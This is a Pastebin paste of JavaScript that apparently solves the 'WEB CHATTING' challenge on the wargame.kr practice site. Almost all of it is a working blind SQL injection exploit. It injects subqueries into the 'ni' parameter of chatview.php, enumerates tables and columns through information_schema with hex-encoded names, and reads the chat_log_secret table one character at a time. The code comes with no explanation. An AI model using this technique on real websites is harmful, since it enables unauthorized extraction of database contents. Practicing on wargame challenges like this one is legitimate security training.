hdarwin

wargame.kr_WEB CHATTING

Mar 19th, 2013
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var index = 126
  2. var index2 = 1
  3. var xmlhttp = new XMLHttpRequest()
  4. var timer
  5. var list = new Array()
  6. var start = setInterval(function(){}, 100000)
  7. for(var i = 0; i < start; i++) clearInterval(i)
  8.  
  9. function send(input){
  10.     var pdata="chatlog.php?"+"data="+input;
  11.     xmlhttp.open("GET",pdata);
  12.     xmlhttp.send(null);
  13. }
  14.  
  15. function chatprint(){
  16.     if(xmlhttp.readyState==4 && xmlhttp.status==200){
  17.         var temp=xmlhttp.responseText;
  18.         if(temp == '') index--;
  19.         else { list.push(index); index = 126; index2++; console.log(list); }
  20.         if(index == 0) clearInterval(timer);
  21.     }
  22. }
  23.  
  24. function show(n){
  25.     //List Tables
  26.     //var query = "(select if("+index+"=ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
  27.     //List Columns
  28.     //var query = "(select if("+index+"=ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 0x636861745f6c6f675f736563726574 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
  29.     //Read data
  30.     var query = "(select if("+index+"=ascii(substr((SELECT readme FROM chat_log_secret limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
  31.     xmlhttp.onreadystatechange=chatprint;
  32.     xmlhttp.open("GET","chatview.php?t=1&ni="+query);
  33.     xmlhttp.send(null);
  34. }
  35.  
  36. timer = setInterval(function(){show(0)}, 800);
Advertisement
Add Comment
Please, Sign In to add comment